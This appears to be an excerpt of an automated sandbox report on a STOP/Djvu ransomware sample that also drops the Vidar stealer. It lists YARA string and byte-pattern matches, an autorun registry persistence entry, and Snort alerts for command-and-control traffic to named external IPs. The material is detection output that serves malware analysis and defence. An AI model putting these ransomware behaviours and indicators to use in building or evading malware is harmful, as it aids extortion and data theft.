4.2.8jvTeVxooN.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.8jvTeVxooN.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.2.8jvTeVxooN.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.8jvTeVxooN.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.8jvTeVxooN.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.8jvTeVxooN.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.8jvTeVxooN.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.8jvTeVxooN.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.8jvTeVxooN.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.8jvTeVxooN.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.8jvTeVxooN.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.8jvTeVxooN.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.8jvTeVxooN.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.8jvTeVxooN.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.8jvTeVxooN.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.8jvTeVxooN.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.8jvTeVxooN.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.8jvTeVxooN.exe.5e415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.8jvTeVxooN.exe.5e415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.8jvTeVxooN.exe.5e415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.8jvTeVxooN.exe.5da15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.8jvTeVxooN.exe.5da15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.8jvTeVxooN.exe.5da15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.8jvTeVxooN.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.8jvTeVxooN.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.8jvTeVxooN.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.8jvTeVxooN.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.8jvTeVxooN.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.8jvTeVxooN.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.8jvTeVxooN.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.8jvTeVxooN.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.8jvTeVxooN.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.8jvTeVxooN.exe.5e915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.8jvTeVxooN.exe.5e915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.8jvTeVxooN.exe.5e915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.8jvTeVxooN.exe.5e715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.8jvTeVxooN.exe.5e715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.8jvTeVxooN.exe.5e715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.8jvTeVxooN.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.8jvTeVxooN.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.8jvTeVxooN.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.8jvTeVxooN.exe.5e715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.8jvTeVxooN.exe.5e715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.8jvTeVxooN.exe.5e715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 60 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\8jvTeVxooN.exe, ProcessId: 2700, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:05.598520
SID:	2020826
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 123.140.161.243

Timestamp:	04/24/24-07:37:03.288894
SID:	2020826
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:04.781081
SID:	2833438
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:22.270266
SID:	2833438
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:05.598520
SID:	2036333
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

